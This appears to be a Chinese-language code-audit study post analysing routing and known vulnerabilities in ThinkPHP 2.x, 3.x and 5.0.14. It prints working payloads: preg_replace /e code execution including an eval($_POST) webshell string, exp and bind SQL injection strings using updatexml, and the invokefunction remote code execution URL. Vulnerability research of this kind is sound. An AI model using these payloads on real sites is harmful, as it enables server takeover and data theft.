php代码审计-Thinkphp<5.*

自己对于这种大项目的审计能力还是很差 从先从最经典的thinkphp开始学起

Thinkphp2.x

远古项目 在vulhub/thinkphp-2.1: 互联网考古,ThinkPHP2.1带示例和文档完整包 (github.com)下载

配置环境的时候切记使用apache 使用nignx会莫名其妙的各种问题

环境 php5.59 thinkphp2.1x

路由分析

主要控制路由的文件在ThinkPHP内置的Dispatcher类里面

这个类负责把路由映射到对应的控制器上

image-20240708205326206

调用自己的self::routerCheck()方法 查看当前的路由规则

路由包括好几种 不过都大差不差

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(0 === stripos($regx.$depr,$route[0].$depr)) {
// 简单路由定义:array('路由定义','分组/模块/操作名', '路由对应变量','额外参数'),
$var = self::parseUrl($route[1]);
// 获取当前路由参数对应的变量
$paths = explode($depr,trim(str_ireplace($route[0].$depr,$depr,$regx),$depr));
$vars = explode(',',$route[2]);
for($i=0;$i<count($vars);$i++)
$var[$vars[$i]] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)\/([^,\/]+)@e', '$var[\'\\1\']="\\2";', implode('/',$paths));
$_GET = array_merge($var,$_GET);
if(isset($route[3])) {
parse_str($route[3],$params);
$_GET = array_merge($_GET,$params);
}

调用self::parseUrl解析成模块、控制器和操作名 然后把剩余的相关参数作为路由储存在GET这个超全局变量里面

当请求路径为 user/profile/123 表示请求user的profile方法 123是这个方法的路由参数

当解析完成之后 可能还存在一些不符合路由定义的参数 这个时候会调用正则去解析代码 然后放到get的变量里面参数传递

image-20240709141808507

如果不开启兼容模式 可以这样访问

1
?s=/模块/控制器/操作/[参数名/参数值...]

任意命令执行

这里的正则表达式如下

1
2
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);

每一次匹配都会这样

假设匹配/name/AsaL1n

第一部分匹配到name 第二部分匹配到AsaL1n 然后构造键值对 存放到全局变量里面

注意到用了\e修饰符 可以执行任意命令

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
$var = array();
$a='$var[\'\\1\']="\\2";';
$b="a/${system('calc')}";
preg_replace("/(\w+)\/([^\/\/])/ies",$a,$b);
print_r($var);
?>

image-20240709144446061

注意的是 能执行代码的地方 是数组的值的位置 不是键的位置

1
2
/index.php?s=a/b/c/${phpinfo()}或者
/index.php/a/b/c/${phpinfo()}

image-20240709145328059

image-20240709145417268

这样的payload也可以执行

1
http://thinkphp/Examples/Route/index.php/a/b/c/d/e/${eval($_POST[1])}

Thinkphp3.x

top-think/thinkphp: ThinkPHP3.2 ——基于PHP5的简单快速的面向对象的PHP框架 (github.com) 用php3.2学习

搭建环境

image-20240709165241731

核心公共文件还是在ThinkPHP/ThinkPHP.php里面

路由控制

路由函数控制函数在ThinkPHP/Library/Behavior/CheckActionRouteBehavior.class.php下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
private function parseRule($rule, $route, $regx)
{
// 获取路由地址规则
$url = is_array($route) ? $route[0] : $route;
// 获取URL地址中的参数
$paths = explode('/', $regx);
// 解析路由规则
$matches = array();
$rule = explode('/', $rule);
foreach ($rule as $item) {
if (0 === strpos($item, ':')) {
// 动态变量获取
if ($pos = strpos($item, '^')) {
$var = substr($item, 1, $pos - 1);
} elseif (strpos($item, '\\')) {
$var = substr($item, 1, -2);
} else {
$var = substr($item, 1);
}
$matches[$var] = array_shift($paths);
} else {
// 过滤URL中的静态变量
array_shift($paths);
}
}
if (0 === strpos($url, '/') || 0 === strpos($url, 'http')) {
// 路由重定向跳转
if (strpos($url, ':')) { // 传递动态参数
$values = array_values($matches);
$url = preg_replace('/:(\d+)/e', '$values[\\1-1]', $url);
}
header("Location: $url", true, (is_array($route) && isset($route[1])) ? $route[1] : 301);
exit;
} else {
// 解析路由地址
$var = $this->parseUrl($url);
// 解析路由地址里面的动态参数
$values = array_values($matches);
foreach ($var as $key => $val) {
if (0 === strpos($val, ':')) {
$var[$key] = $values[substr($val, 1) - 1];
}
}
$var = array_merge($matches, $var);
// 解析剩余的URL参数
if ($paths) {
preg_replace('@(\w+)\/([^\/]+)@e', '$var[strtolower(\'\\1\')]=strip_tags(\'\\2\');', implode('/', $paths));
}
// 解析路由自动传入参数
if (is_array($route) && isset($route[1])) {
parse_str($route[1], $params);
$var = array_merge($var, $params);
}
$action = $var[C('VAR_ACTION')];
unset($var[C('VAR_ACTION')]);
$_GET = array_merge($var, $_GET);
return $action;
}
}

和thinkphp2.*的路由很像 在注释里面他自己也给出了处理方式

1
2
3
4
5
6
7
8
// 解析正则路由
// '路由正则'=>'[分组/模块/操作]?参数1=值1&参数2=值2...'
// '路由正则'=>array('[分组/模块/操作]?参数1=值1&参数2=值2...','额外参数1=值1&额外参数2=值2...')
// '路由正则'=>'外部地址'
// '路由正则'=>array('外部地址','重定向代码')
// 参数值和外部地址中可以用动态变量 采用 :1 :2 的方式
// '/new\/(\d+)\/(\d+)/'=>array('News/read?id=:1&page=:2&cate=1','status=1'),
// '/new\/(\d+)/'=>array('/new.php?id=:1&page=:2&status=1','301'), 重定向

sql where 注入

假设我们写入这样一句查询逻辑

1
2
$data = M('users')->find(I('GET.id'));
var_dump($data);

主要的查询逻辑在这里ThinkPHP/Mode/Lite/Model.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
public function find($options=array()) {
if(is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$options = array();
$options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) $count++;
}
if ($count == count($pk)) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions($options);
// 判断查询缓存
if(isset($options['cache'])){
$cache = $options['cache'];
$key = is_string($cache['key'])?$cache['key']:md5(serialize($options));
$data = S($key,'',$cache);
if(false !== $data){
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if(false === $resultSet) {
return false;
}
if(empty($resultSet)) {// 查询结果为空
return null;
}
if(is_string($resultSet)){
return $resultSet;
}

// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data,$options);
$this->data = $data;
if(isset($cache)){
S($key,$data,$cache);
}
return $this->data;
}
// 查询成功的回调方法

前面都是一些对于复合主键的处理 主要看下面的

image-20240709180805566

这里调用了_parseOptions方法

image-20240709182106229

取出了表的名字 别名啥的 重点是对数组查询条件进行了自动字段类型检查,对每一个参数进行查询 调用_parseType 方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function _parseType(&$data,$key) {
if(!isset($this->options['bind'][':'.$key]) && isset($this->fields['_type'][$key])){
$fieldType = strtolower($this->fields['_type'][$key]);
if(false !== strpos($fieldType,'enum')){
// 支持ENUM类型优先检测
}elseif(false === strpos($fieldType,'bigint') && false !== strpos($fieldType,'int')) {
$data[$key] = intval($data[$key]);
}elseif(false !== strpos($fieldType,'float') || false !== strpos($fieldType,'double')){
$data[$key] = floatval($data[$key]);
}elseif(false !== strpos($fieldType,'bool')){
$data[$key] = (bool)$data[$key];
}
}
}

这里会进行类型转换 导致注入不能进行 绕过就不会执行

1
isset($options['where']) && is_array($options['where']) && !empty($fields) && !isset($options['join'])

只要让注入的内容是一个数组 同时数组的键为where即可绕过

这样相当于没处理 直接返还原来的payload

进入ThinkPHP/Library/Think/Db/Driver.class.php里面

1
2
3
4
5
6
7
8
public function select($options=array()) {
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql,!empty($options['fetch_sql']) ? true : false);
return $result;
}

可以看到调用了buildSelectSql方法

buildSelectSql里面主要是进行了一个limit的计算 计算出了查询返还的数据列数

image-20240709184126278

然后直接进入parseSql进行拼接了

image-20240709184332223

造成了sql注入

image-20240709184528290

成功注入出表名

exp 注入

parseWhereItem方法中

image-20240709185223978

如果数组第一个是exp 那么就会和第一个exp直接.拼接 造成sql注入

1
id[0]=exp&id[1]==0 and updatexml(1,concat(0x7e,(select  database()),0x7e),1)

bind 注入

可以看到当val[0] = bind的时候 也会造成注入

1
?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&last_name=1

但是这里添加了: 拼接之后导致注入失效

在upadte的函数最后 我们的函数会使用excute方法

这里执行了这这一步

1
$this->queryStr =   strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));

把:0 替换成外来的字符串

这样只要构造的id[1] 开头为0就能造成注入

Thinkphp5.*

使用的是tp5.0.14

Release V5.0.14 · top-think/think (github.com)下载

Release V5.0.14 · top-think/framework (github.com)下载核心库

路由分析

路由检测的逻辑在routeCheck里面

image-20240710152617001

先检测路由是否在缓存里面 有的话就获取路由缓存

然后进入Route::check方法

image-20240710153027573

主要是对路由别名的解析和相关的域名控制 没啥东西 关注checkRoute 方法

image-20240710153611699

处理了特殊路由 检测了相关的路由正确性

最后 相关路由被放入parseRule 函数里面处理

image-20240710154148951

这里对路由处理 主要如下

解析URL地址为 (模块/控制器/操作)?额外参数1=值1&额外参数2=值2…

根据不同的模式有不同的处理方法

1
2
PATHINFO: index.php/index/Test/hello/name/world 只能以这种方式传参。
兼容模式:index.php?s=index/Test/hello/name/world

类名解析导致任意类方法调用

先贴payload

1
http://thinkphp/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

image-20240710163902649

根据路由调用方式 先进入routeCheck里面 读取路由缓存什么的不必多说

进入parseUrl

这里进行的路由分割 分割为 | index|think\app|invokefunction 返回

进入到exec函数里面

image-20240710164904828

进入self::module

image-20240710165028106

这里使得我们的$available=true 不会被下面的抛出错误

image-20240710165337068

然后尝试调用Loader::controller 去加载我们的模块

image-20240710165451856

寻找到我们的模块之后 调用App::invokeMethod

image-20240710165638864

这里反射调用 构建了一个我们所输入的类 然后返回对应的类 回到

image-20240710165833843

最底下使用了invokeMethod 方法 看看这个方法

image-20240710165909171

执行这个类的方法 把我们的参数绑定进去 调用 $reflect->invokeArgs 执行

我们调用到invokeFunction方法

image-20240710170056934

$reflect值为call_user_func_array vars传入参数assert和phpinfo()

成功执行 也可以弹计算器

image-20240710170204636

包括还有很多东西 比如think\config/get 方法

image-20240710170541940

当我们不传入参数只传入name的时候 自动读取配置里面的值返回

image-20240710170746630